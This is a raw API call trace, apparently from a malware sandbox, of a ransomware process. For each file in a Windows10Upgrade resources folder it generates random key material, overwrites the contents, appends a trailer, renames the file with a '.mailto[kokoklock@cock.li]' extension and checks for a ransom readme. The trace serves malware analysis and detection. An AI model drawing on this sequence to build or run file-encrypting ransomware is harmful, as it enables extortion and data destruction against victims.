[0075.996] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\eula.css", dwFileAttributes=0x20) returned 0 [0075.996] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347dd90 [0075.996] wcscpy (in: _Dest=0x347dd90, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0075.996] wcscat (in: _Dest=0x347dd90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" [0075.996] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\d0e731-readme.txt")) returned 0x20 [0075.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dd90) returned 1 [0075.996] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34802a0) returned 1 [0075.996] RtlExitUserThread (Status=0x1) Thread: id = 790 os_tid = 0x1390 [0075.997] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstarted.png")) returned 0x20 [0075.997] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png", dwFileAttributes=0x20) returned 1 [0075.997] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstarted.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9ec [0075.998] GetFileSizeEx (in: hFile=0x9ec, lpFileSize=0x1d8bfd40 | out: lpFileSize=0x1d8bfd40*=3824) returned 1 [0075.998] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0xeec, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.998] ReadFile (in: hFile=0x9ec, lpBuffer=0x1d8bfd14, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d8bfd10, lpOverlapped=0x0 | out: lpBuffer=0x1d8bfd14*, lpNumberOfBytesRead=0x1d8bfd10*=0x4, lpOverlapped=0x0) returned 1 [0075.999] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0075.999] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0075.999] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0075.999] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478968 [0075.999] NtQuerySystemTime (in: CurrentTime=0x1d8bfcec | out: CurrentTime=0x1d8bfcec*=132121176338940304) returned 0x0 [0075.999] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0xb2f3ca07 [0075.999] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0x89e742ba [0075.999] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0x2bc72b45 [0075.999] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0xdaa873e6 [0075.999] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0xeba0e235 [0075.999] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0xcfce0b2 [0075.999] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0xc7363714 [0075.999] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0xc02a95a [0075.999] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0x32a9390 [0075.999] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0x6155a809 [0075.999] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0x6baaa408 [0076.000] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0x9d4f6960 [0076.000] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0x2e0d11a5 [0076.000] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0x5d44923c [0076.000] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0xc90509e6 [0076.000] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0xbce78745 [0076.000] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0x4d0bf155 [0076.000] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0x574954c1 [0076.000] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0xd6391d52 [0076.000] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0xaa073060 [0076.000] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0x7ba796f0 [0076.000] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0x84331918 [0076.000] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0x9569855b [0076.000] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0x9c063cb0 [0076.000] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0x9d095a0b [0076.000] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0x380b298f [0076.000] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0xf73d7f0d [0076.000] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0xbeadb502 [0076.000] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0x4c11d7ef [0076.000] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0xd77327d4 [0076.000] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0x6e7695b0 [0076.000] RtlRandom (in: Seed=0x1d8bfcf8 | out: Seed=0x1d8bfcf8) returned 0x63856014 [0076.011] ReadFile (in: hFile=0x9ec, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0xef0, lpNumberOfBytesRead=0x1d8bfcec, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1d8bfcec*=0xef0, lpOverlapped=0x0) returned 1 [0076.011] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1d8bfcb4 | out: lpNewFilePointer=0x0) returned 1 [0076.011] WriteFile (in: hFile=0x9ec, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0xef0, lpNumberOfBytesWritten=0x1d8bfce8, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1d8bfce8*=0xef0, lpOverlapped=0x0) returned 1 [0076.011] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34789e0 [0076.011] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478a08 [0076.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478a08) returned 1 [0076.011] WriteFile (in: hFile=0x9ec, lpBuffer=0x34789e0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d8bfce4, lpOverlapped=0x0 | out: lpBuffer=0x34789e0*, lpNumberOfBytesWritten=0x1d8bfce4*=0x20, lpOverlapped=0x0) returned 1 [0076.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34789e0) returned 1 [0076.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.011] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0076.012] WriteFile (in: hFile=0x9ec, lpBuffer=0x34789b8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1d8bfd10, lpOverlapped=0x0 | out: lpBuffer=0x34789b8*, lpNumberOfBytesWritten=0x1d8bfd10*=0x8, lpOverlapped=0x0) returned 1 [0076.012] WriteFile (in: hFile=0x9ec, lpBuffer=0x1d8bfd28*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d8bfd10, lpOverlapped=0x0 | out: lpBuffer=0x1d8bfd28*, lpNumberOfBytesWritten=0x1d8bfd10*=0x4, lpOverlapped=0x0) returned 1 [0076.012] WriteFile (in: hFile=0x9ec, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d8bfd10, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1d8bfd10*=0x4, lpOverlapped=0x0) returned 1 [0076.012] WriteFile (in: hFile=0x9ec, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1d8bfd10, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1d8bfd10*=0x6c, lpOverlapped=0x0) returned 1 [0076.012] WriteFile (in: hFile=0x9ec, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d8bfd10, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1d8bfd10*=0x20, lpOverlapped=0x0) returned 1 [0076.012] WriteFile (in: hFile=0x9ec, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d8bfd10, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1d8bfd10*=0x4, lpOverlapped=0x0) returned 1 [0076.012] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0076.012] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478990) returned 1 [0076.012] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34789b8) returned 1 [0076.012] CloseHandle (hObject=0x9ec) returned 1 [0076.012] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xa2) returned 0x33f10f0 [0076.012] wcscpy (in: _Dest=0x33f10f0, _Source="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png") returned="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png" [0076.012] wcscat (in: _Dest=0x33f10f0, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png.mailto[kokoklock@cock.li].d0e731" [0076.012] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstarted.png"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstarted.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.013] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.013] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33f10f0) returned 1 [0076.013] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStarted.png", dwFileAttributes=0x20) returned 0 [0076.013] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347dd90 [0076.013] wcscpy (in: _Dest=0x347dd90, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0076.013] wcscat (in: _Dest=0x347dd90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" [0076.013] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\d0e731-readme.txt")) returned 0x20 [0076.013] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dd90) returned 1 [0076.014] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34270d0) returned 1 [0076.014] RtlExitUserThread (Status=0x1) Thread: id = 791 os_tid = 0x1398 [0076.016] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstartedhoverover.png")) returned 0x20 [0076.016] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png", dwFileAttributes=0x20) returned 1 [0076.017] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstartedhoverover.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9ec [0076.017] GetFileSizeEx (in: hFile=0x9ec, lpFileSize=0x1d93f7d0 | out: lpFileSize=0x1d93f7d0*=4067) returned 1 [0076.017] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0xfdf, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.017] ReadFile (in: hFile=0x9ec, lpBuffer=0x1d93f7a4, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d93f7a0, lpOverlapped=0x0 | out: lpBuffer=0x1d93f7a4*, lpNumberOfBytesRead=0x1d93f7a0*=0x4, lpOverlapped=0x0) returned 1 [0076.018] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.018] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.018] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0076.018] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478990 [0076.018] NtQuerySystemTime (in: CurrentTime=0x1d93f77c | out: CurrentTime=0x1d93f77c*=132121176339096390) returned 0x0 [0076.018] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0xa8534c74 [0076.018] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0x4581ab0c [0076.018] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0xd7729b8 [0076.018] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0x886678de [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0x8325e756 [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0xc40ea91a [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0x29ef4f5c [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0x6e3da5f9 [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0x6f7cc5a [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0x576e0749 [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0xcec3cd12 [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0xf7e8eb3c [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0x58e07047 [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0xbcd4f278 [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0x9ca3ebe0 [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0xefbc78b0 [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0x21821216 [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0xc0b99426 [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0x9e99d569 [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0x79018e02 [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0x8048c8fc [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0x3e080144 [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0x370cfd67 [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0x682e2eb4 [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0xcee3d479 [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0x882cbeab [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0x50c5908b [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0x822d4796 [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0x2b1de06d [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0x7f4f2509 [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0x55aeba17 [0076.019] RtlRandom (in: Seed=0x1d93f788 | out: Seed=0x1d93f788) returned 0x58cd655b [0076.039] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.039] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478bc0) returned 1 [0076.039] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x40) returned 0x33fda60 [0076.039] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x70) returned 0x3479a60 [0076.039] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478b48 [0076.039] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478b48) returned 1 [0076.039] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x349e2d0 [0076.040] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x4096) returned 0x34ae380 [0076.040] ReadFile (in: hFile=0x9ec, lpBuffer=0x349e2d0, nNumberOfBytesToRead=0xfe3, lpNumberOfBytesRead=0x1d93f77c, lpOverlapped=0x0 | out: lpBuffer=0x349e2d0*, lpNumberOfBytesRead=0x1d93f77c*=0xfe3, lpOverlapped=0x0) returned 1 [0076.040] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x1d93f744 | out: lpNewFilePointer=0x0) returned 1 [0076.040] WriteFile (in: hFile=0x9ec, lpBuffer=0x34ae380*, nNumberOfBytesToWrite=0xfe3, lpNumberOfBytesWritten=0x1d93f778, lpOverlapped=0x0 | out: lpBuffer=0x34ae380*, lpNumberOfBytesWritten=0x1d93f778*=0xfe3, lpOverlapped=0x0) returned 1 [0076.040] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478a08 [0076.040] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478a30 [0076.040] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478a30) returned 1 [0076.040] WriteFile (in: hFile=0x9ec, lpBuffer=0x3478a08*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d93f774, lpOverlapped=0x0 | out: lpBuffer=0x3478a08*, lpNumberOfBytesWritten=0x1d93f774*=0x20, lpOverlapped=0x0) returned 1 [0076.041] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478a08) returned 1 [0076.041] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34ae380) returned 1 [0076.041] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x349e2d0) returned 1 [0076.041] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3479a60) returned 1 [0076.041] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33fda60) returned 1 [0076.041] WriteFile (in: hFile=0x9ec, lpBuffer=0x34789e0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x1d93f7a0, lpOverlapped=0x0 | out: lpBuffer=0x34789e0*, lpNumberOfBytesWritten=0x1d93f7a0*=0x8, lpOverlapped=0x0) returned 1 [0076.041] WriteFile (in: hFile=0x9ec, lpBuffer=0x1d93f7b8*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d93f7a0, lpOverlapped=0x0 | out: lpBuffer=0x1d93f7b8*, lpNumberOfBytesWritten=0x1d93f7a0*=0x4, lpOverlapped=0x0) returned 1 [0076.041] WriteFile (in: hFile=0x9ec, lpBuffer=0x33d12fc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d93f7a0, lpOverlapped=0x0 | out: lpBuffer=0x33d12fc*, lpNumberOfBytesWritten=0x1d93f7a0*=0x4, lpOverlapped=0x0) returned 1 [0076.041] WriteFile (in: hFile=0x9ec, lpBuffer=0x33c49b8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x1d93f7a0, lpOverlapped=0x0 | out: lpBuffer=0x33c49b8*, lpNumberOfBytesWritten=0x1d93f7a0*=0x6c, lpOverlapped=0x0) returned 1 [0076.041] WriteFile (in: hFile=0x9ec, lpBuffer=0x3478c88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x1d93f7a0, lpOverlapped=0x0 | out: lpBuffer=0x3478c88*, lpNumberOfBytesWritten=0x1d93f7a0*=0x20, lpOverlapped=0x0) returned 1 [0076.041] WriteFile (in: hFile=0x9ec, lpBuffer=0x33d12dc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x1d93f7a0, lpOverlapped=0x0 | out: lpBuffer=0x33d12dc*, lpNumberOfBytesWritten=0x1d93f7a0*=0x4, lpOverlapped=0x0) returned 1 [0076.041] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3478c88) returned 1 [0076.041] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34789b8) returned 1 [0076.041] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x34789e0) returned 1 [0076.041] CloseHandle (hObject=0x9ec) returned 1 [0076.042] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0xb4) returned 0x3431580 [0076.042] wcscpy (in: _Dest=0x3431580, _Source="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png") returned="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png" [0076.042] wcscat (in: _Dest=0x3431580, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png.mailto[kokoklock@cock.li].d0e731") returned="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png.mailto[kokoklock@cock.li].d0e731" [0076.042] MoveFileW (lpExistingFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstartedhoverover.png"), lpNewFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\windows10upgrade\\resources\\ux\\getstartedhoverover.png.mailto[kokoklock@cock.li].d0e731")) returned 1 [0076.043] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0076.043] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x3431580) returned 1 [0076.043] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\GetStartedHoverOver.png", dwFileAttributes=0x20) returned 0 [0076.043] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x68) returned 0x347dd90 [0076.043] wcscpy (in: _Dest=0x347dd90, _Source="C:\\Windows10Upgrade\\resources\\ux\\" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\") returned="C:\\Windows10Upgrade\\resources\\ux\\" [0076.043] wcscat (in: _Dest=0x347dd90, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt") returned="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" [0076.043] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\D0E731-Readme.txt" (normalized: "c:\\windows10upgrade\\resources\\ux\\d0e731-readme.txt")) returned 0x20 [0076.043] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x347dd90) returned 1 [0076.043] RtlFreeHeap (HeapHandle=0x33c0000, Flags=0x0, BaseAddress=0x33cd170) returned 1 [0076.043] RtlExitUserThread (Status=0x1) Thread: id = 792 os_tid = 0x139c [0076.045] GetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\loading.gif" (normalized: "c:\\windows10upgrade\\resources\\ux\\loading.gif")) returned 0x20 [0076.045] SetFileAttributesW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\loading.gif", dwFileAttributes=0x20) returned 1 [0076.046] CreateFileW (lpFileName="C:\\Windows10Upgrade\\resources\\ux\\loading.gif" (normalized: "c:\\windows10upgrade\\resources\\ux\\loading.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x9ec [0076.046] GetFileSizeEx (in: hFile=0x9ec, lpFileSize=0x1d9bfc60 | out: lpFileSize=0x1d9bfc60*=17395) returned 1 [0076.046] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0x43ef, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.046] ReadFile (in: hFile=0x9ec, lpBuffer=0x1d9bfc34, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x1d9bfc30, lpOverlapped=0x0 | out: lpBuffer=0x1d9bfc34*, lpNumberOfBytesRead=0x1d9bfc30*=0x4, lpOverlapped=0x0) returned 1 [0076.048] SetFilePointerEx (in: hFile=0x9ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0076.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478bc0 [0076.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x3478c88 [0076.048] RtlAllocateHeap (HeapHandle=0x33c0000, Flags=0x8, Size=0x20) returned 0x34789b8 [0076.048] NtQuerySystemTime (in: CurrentTime=0x1d9bfc0c | out: CurrentTime=0x1d9bfc0c*=132121176339409357) returned 0x0 [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0xce155f46 [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0x33d96b6 [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0x621f9aff [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) returned 0x8f188741 [0076.048] RtlRandom (in: Seed=0x1d9bfc18 | out: Seed=0x1d9bfc18) 